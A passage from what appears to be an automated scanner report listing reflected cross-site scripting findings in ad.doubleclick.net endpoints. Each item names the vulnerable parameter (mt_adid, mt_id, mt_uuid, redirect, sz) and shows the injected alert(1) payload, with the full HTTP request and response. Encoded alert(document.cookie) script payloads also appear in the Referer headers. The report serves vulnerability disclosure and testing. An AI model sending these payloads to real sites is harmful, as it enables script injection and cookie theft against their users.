tp://ad.doubleclick.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/t%3B233938245%3B0-0%3B0%3B50024984%3B3454-728/90%3B39890603/39908390/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=6068503311614710962064"-alert(1)-"db102385c04&mt_id=103149&mt_adid=76&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.lloydstsb-offshore.com/international-current-accounts/%3FWT.mc_id%3DPIA_MM_DR");
var fscUrl = url;
var
...[SNIP]...

3.27. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.4

Issue detail

The value of the mt_adid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e376e'-alert(1)-'bf4060873d4 was submitted in the mt_adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.4;sz=160x600;click=http://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=84e376e'-alert(1)-'bf4060873d4&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=71564039248027041? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045701817&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:38 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5885

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
lick%3Bh%3Dv8/3aa7/f/a6/%2a/r%3B228033667%3B0-0%3B0%3B51919807%3B2321-160/600%3B38814481/38832238/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=84e376e'-alert(1)-'bf4060873d4&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=https%3a%2f%2fwww.maxclarity.com/tv/%3Fuid%3DBN1_PSD1\">
...[SNIP]...

3.28. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.4

Issue detail

The value of the mt_adid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1f221"-alert(1)-"1a47e7ddd0c was submitted in the mt_adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.4;sz=160x600;click=http://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=841f221"-alert(1)-"1a47e7ddd0c&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=71564039248027041? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045701817&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:34 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5885

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
lick%3Bh%3Dv8/3aa7/f/a6/%2a/r%3B228033667%3B0-0%3B0%3B51919807%3B2321-160/600%3B38814481/38832238/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=841f221"-alert(1)-"1a47e7ddd0c&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=https%3a%2f%2fwww.maxclarity.com/tv/%3Fuid%3DBN1_PSD1");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
...[SNIP]...

3.29. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.4

Issue detail

The value of the mt_id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f3696"-alert(1)-"456ec64c8fc was submitted in the mt_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.4;sz=160x600;click=http://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657f3696"-alert(1)-"456ec64c8fc&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=71564039248027041? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045701817&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:25 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5885

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
click.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/r%3B228033667%3B0-0%3B0%3B51919807%3B2321-160/600%3B38814481/38832238/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657f3696"-alert(1)-"456ec64c8fc&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=https%3a%2f%2fwww.maxclarity.com/tv/%3Fuid%3DBN1_PSD1");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
v
...[SNIP]...

3.30. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.4

Issue detail

The value of the mt_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 18d99'-alert(1)-'38e55555851 was submitted in the mt_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.4;sz=160x600;click=http://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=10065718d99'-alert(1)-'38e55555851&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=71564039248027041? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045701817&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:30 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5885

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
click.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/r%3B228033667%3B0-0%3B0%3B51919807%3B2321-160/600%3B38814481/38832238/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=10065718d99'-alert(1)-'38e55555851&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=https%3a%2f%2fwww.maxclarity.com/tv/%3Fuid%3DBN1_PSD1\">
...[SNIP]...

3.31. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_uuid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.4

Issue detail

The value of the mt_uuid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8808b'-alert(1)-'f04a9d4c145 was submitted in the mt_uuid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.4;sz=160x600;click=http://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a95612958808b'-alert(1)-'f04a9d4c145&redirect=;ord=71564039248027041? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045701817&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:47 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5885

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
-0%3B0%3B51919807%3B2321-160/600%3B38814481/38832238/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a95612958808b'-alert(1)-'f04a9d4c145&redirect=https%3a%2f%2fwww.maxclarity.com/tv/%3Fuid%3DBN1_PSD1\">
...[SNIP]...

3.32. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_uuid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.4

Issue detail

The value of the mt_uuid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f01bd"-alert(1)-"fee235b1bf2 was submitted in the mt_uuid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.4;sz=160x600;click=http://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295f01bd"-alert(1)-"fee235b1bf2&redirect=;ord=71564039248027041? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045701817&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:43 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5885

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
-0%3B0%3B51919807%3B2321-160/600%3B38814481/38832238/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295f01bd"-alert(1)-"fee235b1bf2&redirect=https%3a%2f%2fwww.maxclarity.com/tv/%3Fuid%3DBN1_PSD1");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var o
...[SNIP]...

3.33. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.4

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6caa1"-alert(1)-"7a04f899c71 was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.4;sz=160x600;click=http://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=6caa1"-alert(1)-"7a04f899c71 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045701817&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 5855
Cache-Control: no-cache
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:28:52 GMT
Expires: Mon, 07 Feb 2011 02:28:52 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
1919807%3B2321-160/600%3B38814481/38832238/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=6caa1"-alert(1)-"7a04f899c71https://www.maxclarity.com/tv/?uid=BN1_PSD1");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
...[SNIP]...

3.34. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.4

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bb0bf'-alert(1)-'66f3aad0857 was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.4;sz=160x600;click=http://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=bb0bf'-alert(1)-'66f3aad0857 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045701817&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 5855
Cache-Control: no-cache
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:28:56 GMT
Expires: Mon, 07 Feb 2011 02:28:56 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
1919807%3B2321-160/600%3B38814481/38832238/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=71564039248027041&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=bb0bf'-alert(1)-'66f3aad0857https://www.maxclarity.com/tv/?uid=BN1_PSD1\">
...[SNIP]...

3.35. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.4

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 90fb0"-alert(1)-"59611f3a704 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.4;sz=160x600;click=http://pixel.mathtag.com/click/img?mt_aid=7156403924802704190fb0"-alert(1)-"59611f3a704&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=71564039248027041? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045701817&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:14 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5885

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
p://ad.doubleclick.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/r%3B228033667%3B0-0%3B0%3B51919807%3B2321-160/600%3B38814481/38832238/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=7156403924802704190fb0"-alert(1)-"59611f3a704&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=https%3a%2f%2fwww.maxclarity.com/tv/%3Fuid%3DBN1_PSD1");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode =
...[SNIP]...

3.36. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.4

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc9d4'-alert(1)-'8d9112ba486 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.4;sz=160x600;click=http://pixel.mathtag.com/click/img?mt_aid=71564039248027041cc9d4'-alert(1)-'8d9112ba486&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=71564039248027041? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us?t=1297045701817&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:19 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5885

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
p://ad.doubleclick.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/r%3B228033667%3B0-0%3B0%3B51919807%3B2321-160/600%3B38814481/38832238/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=71564039248027041cc9d4'-alert(1)-'8d9112ba486&mt_id=100657&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=https%3a%2f%2fwww.maxclarity.com/tv/%3Fuid%3DBN1_PSD1\">
...[SNIP]...

3.37. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.55

Issue detail

The value of the mt_adid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 55862'-alert(1)-'5c8556f2836 was submitted in the mt_adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.55;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=8455862'-alert(1)-'5c8556f2836&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=58348799077260653? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045650111&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F24
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:02 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5908

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
click%3Bh%3Dv8/3aa7/f/a6/%2a/v%3B235160821%3B0-0%3B0%3B59013435%3B3454-728/90%3B40328572/40346359/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=8455862'-alert(1)-'5c8556f2836&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.clearskinresolution.com/%3Fuid%3DBN1_PSD1_CSR\">
...[SNIP]...

3.38. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.55

Issue detail

